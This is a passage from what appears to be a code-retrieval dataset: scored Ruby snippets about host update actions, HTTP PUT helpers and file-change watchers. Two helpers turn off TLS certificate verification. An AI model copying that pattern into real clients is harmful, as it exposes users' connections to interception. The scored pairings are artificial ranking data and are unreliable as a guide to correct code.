update\n respond_to do |format|\n if @host_var.update(host_var_params)\n format.html { redirect_to @host_var, notice: 'Host var was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @host_var.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6a40441d5d04555cc6121dec00977740", "score": "0.55333596", "text": "def rename\n render json: {}\n\n # not_found and return false if params[:id].blank?\n # # @discovered_host = ::Host::Discovered.find(params[:id])\n # # @discovered_host.update_attributes!(:name => params[:discovered_host][:name])\n # # render :json => @discovered_host, :serializer => HostBaseSerializer\n\n # connection = get_sat_connection\n # json_response = connection.patch(\"api/v2/discovered_hosts/#{params[:id]}\")\n # results = json_response.body[\"results\"].first\n\n # render json: {discovered_host: json_response.body[\"results\"]}\n\n end", "title": "" }, { "docid": "39f39fd22ce7e40ac28e1edc9d296e99", "score": "0.55307716", "text": "def update\n @host = Host.find(params[:id])\n if @host.update_attributes(params[:host])\n redirect_to(hosts_path, :notice => 'Host was successfully updated.') \n else\n render :action => \"edit\" \n end\n end", "title": "" }, { "docid": "3f535f2b98b11831d742af51f3fd9ae2", "score": "0.5525748", "text": "def update_ip_for_host(hostname, ip)\n redis.set \"ip:#{hostname}\", ip do |reponse|\n reply(\"#{hostname} updated to #{ip}.\")\n end\n end", "title": "" }, { "docid": "534194f5e7796b5cb34c33e93594bef5", "score": "0.5524951", "text": "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @etag = args[:etag] if args.key?(:etag)\n @multi_cluster_routing_use_any = args[:multi_cluster_routing_use_any] if args.key?(:multi_cluster_routing_use_any)\n @name = args[:name] if args.key?(:name)\n @single_cluster_routing = args[:single_cluster_routing] if args.key?(:single_cluster_routing)\n end", "title": "" }, { "docid": "8e18db431964c254de53caa41795b702", "score": "0.55048966", "text": "def put *args\n make_request :put, *args\n end", "title": "" }, { "docid": "7c23626bd5f5f594bfcbf9b5e74e7165", "score": "0.5503585", "text": "def update!(**args)\n @host = args[:host] if args.key?(:host)\n @port = args[:port] if args.key?(:port)\n @service_attachment = args[:service_attachment] if args.key?(:service_attachment)\n end", "title": "" }, { "docid": "7c23626bd5f5f594bfcbf9b5e74e7165", "score": "0.5503585", "text": "def update!(**args)\n @host = args[:host] if args.key?(:host)\n @port = args[:port] if args.key?(:port)\n @service_attachment = args[:service_attachment] if args.key?(:service_attachment)\n end", "title": "" }, { "docid": "ca503f9c245ba12b0ddf82b577c9b306", "score": "0.54906243", "text": "def put!\n request = Net::HTTP::Put.new(uri)\n request.body = @params.to_json\n\n response = get_response(request)\n GunBroker::Response.new(response)\n end", "title": "" }, { "docid": "4aab54460e47b59e7fc332e3f1284197", "score": "0.54902834", "text": "def doPUT(server, port, path, postData, header=nil)\n server='https://'+server+':'+port.to_s+path\n uri = URI.parse(server)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Put.new(uri.request_uri, header)\n request.body = postData.to_json\n response = http.request(request)\n case response\n when Net::HTTPSuccess\n return JSON.parse response.body\n when Net::HTTPConflict\n retVal = JSON.parse response.body\n raise retVal[\"messages\"].to_s\n when Net::HTTPUnauthorized\n raise \"Unauthorized\"\n else\n raise response.body\n end\nend", "title": "" }, { "docid": "18affd9fe46faf0e11b366d48c16fdcb", "score": "0.5487774", "text": "def update\n respond_to do |format|\n if @docker_host.update(docker_host_params)\n @docker_host.ensure_version_info_updated\n format.html { redirect_to @docker_host, notice: 'Docker host was successfully updated.' }\n format.json { render :show, status: :ok, location: @docker_host }\n else\n format.html { render :edit }\n format.json { render json: @docker_host.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ddc9fc2a83b5e318b09ea3f68f50fec3", "score": "0.54821134", "text": "def update!(**args)\n @host = args[:host] if args.key?(:host)\n @port = args[:port] if args.key?(:port)\n end", "title": "" }, { "docid": "5a709be54da030e531e9297b7bde699d", "score": "0.5478235", "text": "def check_update_feed\n puts \"\\r\\n\\r\\nUpdate Feed:\"\n uri = URI.parse(\"http://0.0.0.0:8080/feed.json\")\n Net::HTTP.start(uri.host, uri.port) do |http|\n headers = {'Content-Type' => 'application/x-www-form-urlencoded'}\n put_data = \"key=1&uid=1&title=SomethingDifferent\"\n res = http.send_request('PUT', uri.request_uri, put_data, headers) \n puts res.body\n end\nend", "title": "" }, { "docid": "b96e866218d1aaefd4694eac494253e2", "score": "0.5470684", "text": "def put(path, payload)\n begin\n response = client[path].put payload.to_json, :accept => 'application/json', :content_type => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end", "title": "" }, { "docid": "1beccac6902f321ddf1c129d7bee8c84", "score": "0.5470245", "text": "def assign_ssids_to_portal(args = {}) \n id = args['id']\n temp_path = \"/guestaccess.json/gap/{portalId}/ssids\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"portalId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "title": "" }, { "docid": "bbc5a035ff90e826251e7a3d852f6a66", "score": "0.5468239", "text": "def update!(**args)\n @cluster_api_version = args[:cluster_api_version] unless args[:cluster_api_version].nil?\n @container_ipv4_cidr = args[:container_ipv4_cidr] unless args[:container_ipv4_cidr].nil?\n @creation_timestamp = args[:creation_timestamp] unless args[:creation_timestamp].nil?\n @description = args[:description] unless args[:description].nil?\n @enable_cloud_logging = args[:enable_cloud_logging] unless args[:enable_cloud_logging].nil?\n @enable_cloud_monitoring = args[:enable_cloud_monitoring] unless args[:enable_cloud_monitoring].nil?\n @endpoint = args[:endpoint] unless args[:endpoint].nil?\n @instance_group_urls = args[:instance_group_urls] unless args[:instance_group_urls].nil?\n @master_auth = args[:master_auth] unless args[:master_auth].nil?\n @name = args[:name] unless args[:name].nil?\n @network = args[:network] unless args[:network].nil?\n @node_config = args[:node_config] unless args[:node_config].nil?\n @node_routing_prefix_size = args[:node_routing_prefix_size] unless args[:node_routing_prefix_size].nil?\n @num_nodes = args[:num_nodes] unless args[:num_nodes].nil?\n @self_link = args[:self_link] unless args[:self_link].nil?\n @services_ipv4_cidr = args[:services_ipv4_cidr] unless args[:services_ipv4_cidr].nil?\n @status = args[:status] unless args[:status].nil?\n @status_message = args[:status_message] unless args[:status_message].nil?\n @zone = args[:zone] unless args[:zone].nil?\n end", "title": "" }, { "docid": "c1cbc6676c361cfecdb87c549d7301a5", "score": "0.5466193", "text": "def create\n name, type = resource[:name].split('/')\n nameserver = resource[:nameserver]\n rdata = resource[:rdata]\n ttl = resource[:ttl]\n nsupdate(\"server #{nameserver}\n update add #{name}. #{ttl} #{type} #{rdata}\n send\")\n end", "title": "" }, { "docid": "06f1a4c14f4995f713e74b1c38709503", "score": "0.5464956", "text": "def host=(new_host); end", "title": "" }, { "docid": "06f1a4c14f4995f713e74b1c38709503", "score": "0.5464956", "text": "def host=(new_host); end", "title": "" }, { "docid": "ba2c5bce1df60d58fab9ad6ce7d1643b", "score": "0.5463337", "text": "def set_hosts(hosts=[\"b1\",\"b2\"])\n host_params = {}\n\n # assign hosts to consecutive string keys, host_0, host_1, etc ...\n hosts.each_with_index do | h, i |\n host_params[\"host_#{i}\"] = hosts[i]\n end\n \n # convert keys to symbols\n # host_params.each_key { |k| host_params[k.to_sym] = host_params[k] }\n new_host_params = {}\n host_params.each_key { |k| new_host_params[k.to_sym] = host_params[k] }\n\n=begin\n # add default host, set to host_1 if it exists, unless specified on the command-line\n if @hash['default_host'].nil?\n new_host_params[:default_host] = new_host_params[:host_1] unless new_host_params[:host_1].nil?\n else\n new_host_params[:default_host] = @hash['default_host'] if !@hash['default_host'].nil?\n end\n=end\n \n @api.configure(\"hosts\", new_host_params)\n\n end", "title": "" }, { "docid": "8f2c20f3477621c96ed9d95d4c68da15", "score": "0.54529285", "text": "def hostname=(new_hostname); end", "title": "" }, { "docid": "8f2c20f3477621c96ed9d95d4c68da15", "score": "0.54529285", "text": "def hostname=(new_hostname); end", "title": "" }, { "docid": "51c43e95050074e774e977e34dd47319", "score": "0.5450797", "text": "def host=(value)\n api['host'] = value\n end", "title": "" }, { "docid": "9575a92a5c9f98f043594ce8286985ae", "score": "0.54504806", "text": "def put(uri, payload)\n headers = { 'Content-Type' => 'application/json' }\n res = Excon.put(@base_url + uri.to_s,\n headers: headers,\n user: username,\n password: password,\n ssl_verify_peer: false,\n body: payload)\n api_response res\n end", "title": "" }, { "docid": "19ebd2e8c5bdfadcd2fc7fbeaa1fa13e", "score": "0.54491454", "text": "def put\n verify_request!\n for uuid, attributes in @request.params.except(\"sign\")\n unless Vidibus::Uuid.validate(uuid)\n raise \"Updating failed: '#{uuid}' is not a valid UUID.\"\n end\n conditions = {:uuid => uuid}\n if realm_uuid = attributes.delete(\"realm_uuid\")\n conditions[:realm_uuid] = realm_uuid\n end\n result = service.where(conditions)\n unless result.any?\n raise \"Updating service #{uuid} failed: This service does not exist!\"\n end\n for _service in result\n _service.attributes = attributes\n unless _service.save\n raise \"Updating service #{uuid} failed: #{_service.errors.full_messages}\"\n end\n end\n end\n response(:success => \"Services updated.\")\n rescue => e\n response(:error => e.message)\n end", "title": "" }, { "docid": "2f96574ad641ccaaad110c8977856e03", "score": "0.5444904", "text": "def set_host\n @host = Host.find(params[:id])\n end", "title": "" }, { "docid": "47a089470c2dd5a30ef740085f9adac3", "score": "0.5443856", "text": "def update_route(id)\n node = JSON.parse(Excon.get(API_URL + \"/node/#{id}\", headers: HEADERS, expects: [200]).body)\n config = node[\"config\"][\"vpn\"]\n config[\"networks\"].first[\"routes\"].first[\"description\"] = Time.now.to_s\n puts Excon.put(API_URL + \"/node/#{id}/config/vpn\", headers: HEADERS, body: config.to_json, expects: [200]).body\nend", "title": "" }, { "docid": "5c3560187dbc9579d4c0a583dfaf5f4f", "score": "0.54308814", "text": "def update_ec2machine_public_dns\n ScheduleTask.update_ec2machine_public_dns\nend", "title": "" }, { "docid": "c0d51207feb90896170c64c13eb06d00", "score": "0.5418488", "text": "def update_ec2machine_public_dns\r\n ScheduleTask.update_ec2machine_public_dns\r\nend", "title": "" } ]
ef6ee0488b31b74db6b0fcecb0968524
Wait for changes to the supplied path Returns the next change to the supplied path
[ { "docid": "8fda27868d9df8b9baa203c4271f0be1", "score": "0.596328", "text": "def wait(path, rev=current_revision, timeout=-1)\n invoke(Request.new(:path => path, :rev => rev, :verb => Request::Verb::WAIT), true, timeout)\n end", "title": "" } ]
[ { "docid": "bb8cdea2825e22344b539679958db25f", "score": "0.70353794", "text": "def watch(path, rev=current_revision)\n loop do\n result = wait(path, rev, -1)\n yield result\n rev = result.rev + 1\n end\n end", "title": "" }, { "docid": "9db29f9147d2516e72243305a563c56b", "score": "0.64858615", "text": "def wait_for_changes(goal = 0)\n changes = 0\n\n loop do\n @mutex.synchronize { changes = @changed_dirs.size }\n\n return if @paused || @stop\n return if changes >= goal\n\n sleep(@latency)\n end\n end", "title": "" }, { "docid": "8a3b12297c7e8b855f77f86711f1ec31", "score": "0.6398585", "text": "def wait(seconds = INFINITE)\n seconds *= 1000 unless seconds == INFINITE\n \n fni = 0.chr * 65536 # FILE_NOTIFY_INFORMATION struct buffer \n rbytes = [0].pack('L')\n qbytes = [0].pack('L')\n\n subtree = @recursive ? 1 : 0\n dir_handle = get_dir_handle(@path) \n comp_key = [12345].pack('L')\n \n begin\n comp_port = CreateIoCompletionPort(dir_handle, 0, comp_key, 0)\n \n if comp_port == 0\n raise Error, get_last_error\n end\n\n bool = ReadDirectoryChangesW(\n dir_handle,\n fni,\n fni.size,\n subtree,\n @filter,\n rbytes,\n @overlap,\n 0\n )\n \n unless bool\n raise Error, get_last_error\n end\n \n while true\n bool = GetQueuedCompletionStatus(\n comp_port,\n qbytes,\n comp_key,\n @overlap,\n seconds\n )\n \n unless bool\n raise Error, get_last_error\n end\n \n @signaled = true\n @event.signaled = true\n \n break if comp_key.unpack('L').first == 0\n \n yield get_file_action(fni) if block_given?\n \n bool = ReadDirectoryChangesW(\n dir_handle,\n fni,\n fni.size,\n subtree,\n @filter,\n rbytes,\n @overlap,\n 0\n )\n \n unless bool\n raise Error, get_last_error\n end\n end\n ensure \n CloseHandle(dir_handle)\n end\n end", "title": "" }, { "docid": "93993d4da80ae706dc7cd46a01abaf52", "score": "0.60555905", "text": "def queue_path_change_job\n return if previous_changes['string_key'].blank? || previous_changes['path'].blank? || previous_changes['path'][0].nil?\n previous_changes['path'].tap { |arr| ChangeDynamicFieldPathsJob.perform_later(arr[0] => arr[1]) }\n end", "title": "" }, { "docid": "13c5307e9c1dfc2a33928bd3b04b6297", "score": "0.5816769", "text": "def wait\n while source\n saved_source = source\n saved_source.wait\n break if saved_source.equal?(source)\n end\n end", "title": "" }, { "docid": "c91e78b0ad7a306da554900459642e34", "score": "0.57010984", "text": "def listen_for_changes\n @semaphore.synchronize do\n @files_alive = []\n\n paths = initialize_paths(@paths, @dirs)\n directories = handle_paths(paths)\n if @opts[:recurse]\n update_changed_files(directories)\n end\n\n deleted_files = @file_cache.keys - @files_alive.uniq\n deleted_files.each do |filename|\n @file_cache.delete(filename)\n push_changes(filename, :removed)\n end\n end\n end", "title": "" }, { "docid": "8b44587569505d71b50e3731a2082451", "score": "0.5633526", "text": "def poll_changed_directories\n until stopped\n next if paused\n\n start = Time.now.to_f\n callback.call(directories.dup, :recursive => true)\n turnstile.signal\n nap_time = latency - (Time.now.to_f - start)\n sleep(nap_time) if nap_time > 0\n end\n rescue Interrupt\n end", "title": "" }, { "docid": "d574e2a76d8d85dea14f47f94e2e80eb", "score": "0.56080335", "text": "def wait_for_changes(threshold = 0)\n changes = 0\n\n loop do\n mutex.synchronize { changes = changed_directories.size }\n\n return if paused || stopped\n return if changes >= threshold\n\n sleep(latency)\n end\n end", "title": "" }, { "docid": "9d258fd43d1f1c0735aba5031ac02c7e", "score": "0.56057", "text": "def changePath(path, &block)\n currPath = Dir.pwd\n begin\n Dir.chdir(path)\n result = block.call\n Dir.chdir(currPath)\n result\n rescue\n Dir.chdir(currPath)\n raise $!\n end\nend", "title": "" }, { "docid": "ce67fb37885b31b008f2e8219250e699", "score": "0.56022197", "text": "def wait_for_state_change(state)\n cur_state = @state\n while (cur_state != state)\n cur_state = @state_change_q.pop\n end\n end", "title": "" }, { "docid": "28e537860338a84ff1d855c7a7272c88", "score": "0.5568839", "text": "def poll_changed_directories\n until stopped\n sleep(latency)\n report_changes\n end\n end", "title": "" }, { "docid": "4226d9175e856bfa32e5de966b7c6dfe", "score": "0.5528584", "text": "def poll_changed_dirs\n until @stop\n sleep(@latency)\n report_changes\n end\n end", "title": "" }, { "docid": "12e4630f77459cdaa968563702c50d7a", "score": "0.55143356", "text": "def watch_appropriate_nodes\n remaining_paths.last( threshold + 1 ).reverse_each do |path|\n next if watched_paths.include? path\n watched_paths << path\n finish_node(path) unless zk.exists?(path, :watch => true)\n end\n end", "title": "" }, { "docid": "cef738c986a2d6afd932da8a416bf7cb", "score": "0.54818416", "text": "def until_no_change\n begin @changed = false; yield; end while @changed\n end", "title": "" }, { "docid": "fcd22026a790b740870b688af69ba4e0", "score": "0.5464978", "text": "def watch(have_changed, waiting = nil)\n @watching = true\n\n while @watching\n if files_changed?\n @watching = have_changed.call(@changed, @event)\n end\n\n sleep(1)\n\n waiting.call if waiting\n end\n end", "title": "" }, { "docid": "c534d7274bbc5d3cd729391f739d6373", "score": "0.5463689", "text": "def run_on_changes(paths)\n @builder.notify\n end", "title": "" }, { "docid": "c4ede62521dbab9286e04a038d5caff4", "score": "0.5423203", "text": "def run_on_change(paths)\n @state_machine.changed_paths = paths\n @state_machine.run_on_change\n end", "title": "" }, { "docid": "9395c1d7980d62a471cc1789ebaba75c", "score": "0.54215866", "text": "def run_on_change(paths)\n end", "title": "" }, { "docid": "398ae0fa11c6fb6c1482a48b88227930", "score": "0.5381973", "text": "def watch\n loop { (yield @journal.current_entry while @journal.move_next) if @journal.wait(100_000) }\n end", "title": "" }, { "docid": "0ae6cb74d10070d7252d58676dfc6fc1", "score": "0.5368136", "text": "def click_and_wait_to_change(id_to_click,id_to_change,value) \n element_to_click = driver.find_element(:id, id_to_click)\n element_to_change = driver.find_element(:id, id_to_change)\n current_value = element_to_change.attribute(value.to_sym)\n\n element_to_click.click\n @wait.until { element_to_change.attribute(value.to_sym) != current_value }\n end", "title": "" }, { "docid": "0ae6cb74d10070d7252d58676dfc6fc1", "score": "0.5368136", "text": "def click_and_wait_to_change(id_to_click,id_to_change,value) \n element_to_click = driver.find_element(:id, id_to_click)\n element_to_change = driver.find_element(:id, id_to_change)\n current_value = element_to_change.attribute(value.to_sym)\n\n element_to_click.click\n @wait.until { element_to_change.attribute(value.to_sym) != current_value }\n end", "title": "" }, { "docid": "1886aab6448dd411f3b349b9c0f62a0a", "score": "0.5367641", "text": "def run_on_changes(paths)\n restart\n end", "title": "" }, { "docid": "65bd07a87ee14e3278ceeefdbdcfe330", "score": "0.53133714", "text": "def scan_for_changes(path)\n path = Pathname.new(path)\n path = @app.root.pathname + path if path.relative?\n @app.indexer.scan(path)\n end", "title": "" }, { "docid": "80f02c722614e6de3be2f9ab6ce9e73b", "score": "0.52898824", "text": "def check_changes(paths, user)\n paths_by_watched_path={}\n paths_by_users={}\n # look for each path as well\n paths_to_watch=Configuration.config[:paths_to_watch_for_changes]\n\n paths_to_watch.each do |pathtowatch|\n next if ignorable_user?(pathtowatch[:if_commit_user_matches],pathtowatch[:if_commit_user_not_matches], user)\n paths.each do |path|\n path.scan(pathtowatch[:name]) do |w|\n watched_path=pathtowatch[:name]\n paths_by_watched_path[watched_path] ||= [] #make sure entry exists\n paths_by_watched_path[watched_path] << path\n # build the hash keyed by email, containing watched paths\n pathtowatch[:notify_on_change].each do |email|\n paths_by_users[email] ||= []\n paths_by_users[email] << watched_path if !paths_by_users[email].include?(watched_path) \n end\n \n end \n end\n end\n if paths_by_watched_path.size>0 \n yield(paths_by_watched_path,paths_by_users)\n end\n end", "title": "" }, { "docid": "54f08c30cecf19a3029160d82049fcf7", "score": "0.5257742", "text": "def wait_until\n poll do\n transition! if yield\n end\n end", "title": "" }, { "docid": "03b37c7ec705ceeaf78a401b212c7879", "score": "0.5242589", "text": "def run_on_change(paths = {})\n restart\n end", "title": "" }, { "docid": "c235c1b2d0caff893b12de8ca82ee641", "score": "0.52329594", "text": "def listen_for_changes\n Listen.to(input_dir.to_s) do\n sync\n end.start\n end", "title": "" }, { "docid": "a9b938d9aac6407cfc21d7550eff377d", "score": "0.5215252", "text": "def run_on_changes(paths)\n run(paths)\n end", "title": "" }, { "docid": "4c3fbee96eb664ac9073526e45e5d1c4", "score": "0.5204729", "text": "def selected_path_changed path\n end", "title": "" }, { "docid": "889521dbb0dd4f7b1058256c159986e1", "score": "0.5201206", "text": "def run_on_change(paths)\n UI.info(\"change noted for #{paths.join(\", \")}\")\n perform\n reactor.reload_browser(paths)\n end", "title": "" }, { "docid": "7e7b1ac398882e1979b4ca5cac656b95", "score": "0.51919794", "text": "def run_on_change(paths)\n perform\n end", "title": "" }, { "docid": "176465f1857013b4913905bed341d73a", "score": "0.5183018", "text": "def notify_path(path)\n @blk.call(:path, path, self.class::EXT)\n @path_notified = true\n end", "title": "" }, { "docid": "67ec7a4d23de327e6af74285382651b8", "score": "0.5178568", "text": "def changed?(path)\n # FIXME: Implement properly once changed detection is available.\n exists?(path)\n end", "title": "" }, { "docid": "16c20de8ca754601034343818a51384f", "score": "0.5177465", "text": "def run_on_change(paths)\n restart_guard\n end", "title": "" }, { "docid": "5f5e322888b7b549fe58aeeb0c782350", "score": "0.5169592", "text": "def run_on_change(paths = {})\n @reloaded = true\n restart_without_waiting\n end", "title": "" }, { "docid": "cdc6c6dc8cdf9b1fd4348a1c38991efa", "score": "0.51692504", "text": "def run_on_change(paths = {})\n restart_and_ping\n end", "title": "" }, { "docid": "82f8d3ae55055a7f84cd3afe5b81d37f", "score": "0.5150487", "text": "def path_changed(p_index)\n\t\t\n\t\t\t# Enable Ok Button, release Keyboard from Line Edit\n\t\t\t@form.okButton.setEnabled(true)\n\t\t\n\t\t\t# Get Path for the clicked File\n\t\t\t@path = @shell_tree_view.model.fileInfo(p_index).canonicalFilePath\n\t\t\t\n\t\t\t# Reverse slashes if on Windows, looks more \"native\"\n\t\t\t@path.gsub!(\"/\", \"\\\\\") unless @path.nil? || !@is_win32 \n\t\t\t\n\t\t\t# Set text, if valid\n\t\t\t@path_edit.setText(@path) if @path.is_a?(String)\n\t\tend", "title": "" }, { "docid": "e7351abba95613f8a7923c7c6faf6a3d", "score": "0.5145434", "text": "def run_on_change(paths)\n jammit\n end", "title": "" }, { "docid": "631a96a6a0582c3feba33132fe23e18e", "score": "0.5138715", "text": "def processNextStart()\n while true\n path = starts.next\n if building_path\n if compare.call path.first, building_path.first\n add_path path\n else\n return next_path(path)\n end\n else\n next_path(path)\n end\n end\n rescue Pacer::EmptyPipe, java.util.NoSuchElementException\n if building_path\n r = building_path\n self.building_path = nil\n r\n else\n raise EmptyPipe.instance\n end\n end", "title": "" }, { "docid": "c1104efcc9800431b78d4fc6b05f50ed", "score": "0.5111513", "text": "def step\n if (location = path.shift)\n if(move_to(*location))\n save!\n return self\n else\n update_attribute(:path, [])\n end\n elsif active_command\n if active_command.location == self.location\n return active_command.perform\n else\n #TODO: Path can't be found\n update_attribute(:path, find_path_to(active_command.x, active_command.y))\n end\n end\n\n nil\n end", "title": "" }, { "docid": "bbf761b5aa307220a44fdf925e869949", "score": "0.509814", "text": "def changed_files\n until @changed.empty?\n descriptor = @changed.shift\n file = @watcher.watch_descriptors.delete(descriptor)\n watch(file)\n yield(file)\n end\n end", "title": "" }, { "docid": "244afddc07ae76446c69a6c88083a010", "score": "0.50888443", "text": "def run_on_changes(paths)\n paths.each do |path|\n unless updated?(path)\n return false\n end\n end\n true\n end", "title": "" }, { "docid": "14061a679cff6a26e4926ed9ce1a88cc", "score": "0.50876176", "text": "def update\n true until @ref.compare_and_set(old_value = @ref.get, new_value = yield(old_value))\n new_value\n end", "title": "" }, { "docid": "b6090115702939d31eb7e7c32a0387f8", "score": "0.50770795", "text": "def in_path(path, &blk)\n old = Dir.pwd\n Dir.chdir path\n say_status :cd, path\n yield\n Dir.chdir old\n end", "title": "" }, { "docid": "fbf64030e6e43368e38f73c0421c4efb", "score": "0.50739074", "text": "def monitor\n was_changed = false\n new_state = nil\n self_stat = File.lstat(@path) rescue nil\n if self_stat == nil\n new_state = FileStatEnum::NON_EXISTING\n @files = nil\n @dirs = nil\n @cycles = 0\n elsif @files == nil\n new_state = FileStatEnum::NEW\n @files = Hash.new\n @dirs = Hash.new\n @cycles = 0\n update_dir\n elsif update_dir\n new_state = FileStatEnum::CHANGED\n @cycles = 0\n else\n new_state = FileStatEnum::UNCHANGED\n @cycles += 1\n if @cycles >= @stable_state\n new_state = FileStatEnum::STABLE\n end\n end\n\n # The assignment\n self.state= new_state\n end", "title": "" }, { "docid": "c57324a00713b673e61576a3012630f1", "score": "0.5073905", "text": "def run_on_changes(paths)\n run_all()\n end", "title": "" }, { "docid": "00ad0b72ec78142176d3a5a54a59fe7f", "score": "0.5051499", "text": "def changes\n poll(\"Changes\")\n end", "title": "" }, { "docid": "cc4b395e67624622b320eb03fe2989b3", "score": "0.50404805", "text": "def wait; end", "title": "" }, { "docid": "cc4b395e67624622b320eb03fe2989b3", "score": "0.50404805", "text": "def wait; end", "title": "" }, { "docid": "cc4b395e67624622b320eb03fe2989b3", "score": "0.50404805", "text": "def wait; end", "title": "" }, { "docid": "88f4938619f356fec018e672ed9372b7", "score": "0.50323606", "text": "def observe_changes(from_root)\n affected_paths = Set.new\n sentinel_path = File.join(from_root, SENTINEL)\n\n # if the directory was recently created, it *seems* like it needs to\n # actually be written out before we start the watch, otherwise we don't\n # receive any events.\n #\n # Unfortunately, sync(3) is a slow/expensive operation and a\n # newly-created direcotry is probably not the most common use-case. As a\n # compromise, we sync(3) only if the directory appears to have been\n # created in the past few seconds.\n if (Time.now - File.stat(from_root).ctime) < 5\n Kernel.syscall(SYS_SYNC)\n end\n\n fsevent = FSEvent.new\n fsevent.watch(from_root, file_events: true, latency: LATENCY) do |paths, meta|\n done = false\n meta['events'].each do |evt|\n # Don't track directories. We could change this...\n next if evt['flags'].include?(ITEM_IS_DIR)\n path = evt['path']\n # Because macOS delivers these events with a configurable latency, we\n # have to wait for it to flush its pipeline before we can escape from\n # the run loop, so we push this sentinel event after invoking the\n # block. We know we're done when we receive it.\n if path.end_with?(SENTINEL)\n done = true\n else\n affected_paths << path\n end\n end\n raise Interrupt if done\n end\n thr = Thread.new { fsevent.run }\n # If we yield before the handler is set up, early events will be\n # discarded.\n sleep 1e-6 until fsevent.instance_variable_get(:@running)\n\n yield\n\n # Once the thread recieves the event for the sentinel_path, it will\n # return, and #join will return.\n FileUtils.touch(sentinel_path)\n thr.join\n File.unlink(sentinel_path) # clean up\n\n affected_paths\n end", "title": "" }, { "docid": "86cac0a8569d50bdf0dcdd79e1370679", "score": "0.5017704", "text": "def wait\n Kernel.sleep self.interval until check_files\n end", "title": "" }, { "docid": "96ceee518e80171c992c0e7775a0a4e3", "score": "0.500699", "text": "def watch\n @listener ||= Listen.to(\n File.dirname(PATH),\n only: /\\A#{File.basename(PATH)}\\z/\n ) do |modified, added, removed|\n next if modified.empty? && added.empty? && removed.empty?\n\n reload\n end\n\n @listener.start\n end", "title": "" }, { "docid": "399b43455668bd55f385c3c1b13cd325", "score": "0.49492383", "text": "def find_path(paths = [[@position]])\n if not @path and finished?(paths)\n return @path\n else\n new_paths = []\n change = false\n paths.each do |path|\n possible_positions?(path).each do |position|\n new_paths << path.dup.push(position)\n change = true\n end\n end\n find_path(new_paths) if change\n end\n end", "title": "" }, { "docid": "53258386d8eb1fbecb8a74b26bc96e20", "score": "0.49278453", "text": "def checkforChange(filepath)\n size1 = File.size(filepath)\n sleep 5\n size2 = File.size(filepath)\n if size1 == size2\n 0\n else\n 1\n end\nend", "title": "" }, { "docid": "0a3fa7318e0f504ad76c11bb98c61c34", "score": "0.49263415", "text": "def run_on_change(paths = {})\n msg = \"guard-self_test is running on changes...\"\n UI.info msg\n Notifier.notify(msg)\n end", "title": "" }, { "docid": "109a80cdfca6da9b94ac856494479111", "score": "0.4905986", "text": "def observe wait_index = nil\n raise \"You should give me a block\" unless block_given?\n @running = true\n index = wait_index\n @thread = Thread.start do\n logger.debug \"Started etcd watch thread at #{path} with index #{index.inspect}\"\n while running\n logger.debug \"Awaiting index #{index} at #{path}\"\n val = client.watch(path, recursive: true, index: index)\n if running\n logger.info \"Watch fired for #{path}: #{val.action} #{val.node.key} with etcd index #{val.etcd_index} and modified index #{val.node.modified_index}\"\n # lets watch for the next event from modified index\n index = val.node.modified_index + 1\n yield val\n end\n end\n end\n self\n end", "title": "" }, { "docid": "44e78efba9347af1ddc28542222a6c11", "score": "0.48951757", "text": "def report_changes\n changed_dirs = nil\n\n mutex.synchronize do\n return if @changed_directories.empty?\n changed_dirs = @changed_directories.to_a\n @changed_directories.clear\n end\n\n callback.call(changed_dirs, {})\n turnstile.signal\n end", "title": "" }, { "docid": "bd8f4a8fd20972f5b0af5f6c8ff62c2e", "score": "0.48737568", "text": "def sync\n unlock if locked?\n lock\n PATH()\n end", "title": "" }, { "docid": "3ac290af58e5fa25ccc0d7e6e64ef292", "score": "0.48645684", "text": "def wait_for_download\n if @pending\n logger.info(\"Waiting for first sync\")\n logger.flush if logger.respond_to?(:flush)\n while @pending\n sleep(0.1)\n end\n end\n end", "title": "" }, { "docid": "2d2b7ee58b70f9aa8d6726f8110497d9", "score": "0.4859962", "text": "def finished?(paths)\n paths.each do |path|\n if path.last == @final_position\n @path = path[1..-1]\n end\n end\n @path\n end", "title": "" }, { "docid": "9b6bf191e6d557013689aae570c236e7", "score": "0.48533523", "text": "def watcher_for(path)\n @path_watcher_map[File.expand_path(path)]\n end", "title": "" }, { "docid": "c6292a85ad892bf3997d499cbc4d8c98", "score": "0.48486573", "text": "def wait\n\tend", "title": "" }, { "docid": "6bc2924df1e94dd8c17f9a6c2f4a9581", "score": "0.48373154", "text": "def wait_until(index)\n\t\t@wait = index\n\tend", "title": "" }, { "docid": "1b509bc4fe42b17b870d93d7b2f0f65f", "score": "0.48369485", "text": "def changes_at_path?(path)\n raise NotImplementedError\n end", "title": "" }, { "docid": "c5f4241a2724ea950a0328babe0d8935", "score": "0.48323917", "text": "def update(path, event_type = nil)\n path = Pathname(path).expand_path\n\n Watchr.debug(\"received #{event_type.inspect} event for #{path.relative_path_from(Pathname(Dir.pwd))}\")\n if path == @script.path && event_type != :accessed\n @script.parse!\n @handler.refresh(monitored_paths)\n else\n @script.action_for(path, event_type).call\n end\n end", "title": "" }, { "docid": "6e51c2a821d8bff585b4d92a4d517294", "score": "0.4821686", "text": "def run_on_changes(paths)\n if options[:all_on_change]\n paths = Watcher.match_files(self, Dir.glob('**{,/*/**}/*').uniq.compact)\n end\n paths = paths.select {|path| not options[:exclude] =~ path and File.file? path}\n\n directories = detect_nested_directories(watchers, paths, options)\n written = []\n\n directories.each do |directory, files|\n files.each do |file|\n begin\n act_on(directory, file)\n written << file\n rescue Exception => e\n error(e.message, file)\n throw :task_has_failed\n end\n end\n end\n if written.length > 0\n notify(written)\n end\n end", "title": "" }, { "docid": "dc8f2629eebaf9212fbe5680675a551a", "score": "0.4809662", "text": "def start_watch(source_path, remote_path, remote_host, rsync_options,\n watch_id, post_sync_command = nil)\n loop do\n # fswatch options:\n # -1: exit after one iteration\n # -r: recurse\n # -L: follow symlinks\n # --event Updated/Removed/Created: only shows events that signify change\n fswatch_options = '-1 -rL --event Updated --event Removed --event Created'\n watch_cmd = 